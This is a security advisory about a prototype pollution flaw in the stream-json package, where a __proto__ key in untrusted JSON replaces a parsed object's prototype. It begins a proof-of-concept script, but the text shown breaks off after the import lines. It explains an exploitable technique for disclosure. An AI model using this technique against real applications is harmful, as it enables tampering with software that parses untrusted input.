stream-json has a prototype pollution issue: Assembler writes this.current[this.key] on plain objects

### Summary A prototype-pollution vulnerability in stream-json lets attacker-controlled JSON replace a parsed object's prototype. ### Details The streaming JSON parser (StreamValues/StreamObject/jsonc variants) writes keys via plain assignment, so a __proto__ key replaces the parsed object's prototype with attacker-controlled content (verified 3.5.0 npm latest; native JSON.parse twin control stays clean). Parsing untrusted JSON is the contract. Assembler in Assembler.js. ### PoC Run: ```bash node poc-stream-json-proto-injection.mjs ``` Full proof-of-concept source (poc-stream-json-proto-injection.mjs): ```js // stream-json v3.5.0 (npm latest) — local [[Prototype]] replacement via `__proto__` keys // Class: prototype injection in a JSON deserializer (jsonparse/bser/jsonc-parser/plist family) // Root cause: Assembler builds every object as a plain `Object` and writes // `this.current[this.key] = value` (src/core/assembler.js:160,180 — plain assignment, // ToPropertyKey → inherited Object.prototype __proto__ setter fires) // Spec baseline: JSON.parse (CreateDataProperty) → own data property, no prototype change // Run: node poc-stream-json-proto-injection.mjs (from C:/Users/rncb0/AppData/Local/Temp/0day/sj-lab) import { parser } from 'stream-json'; import jsoncParser from 'stream-json/jsonc/Parser.js'; import { streamValues } from 'stream-json/streamers/stream-values.js'; import { streamObject } from 'stream-json/streamers/stream-object.js'; import { Readable } from 'node:stream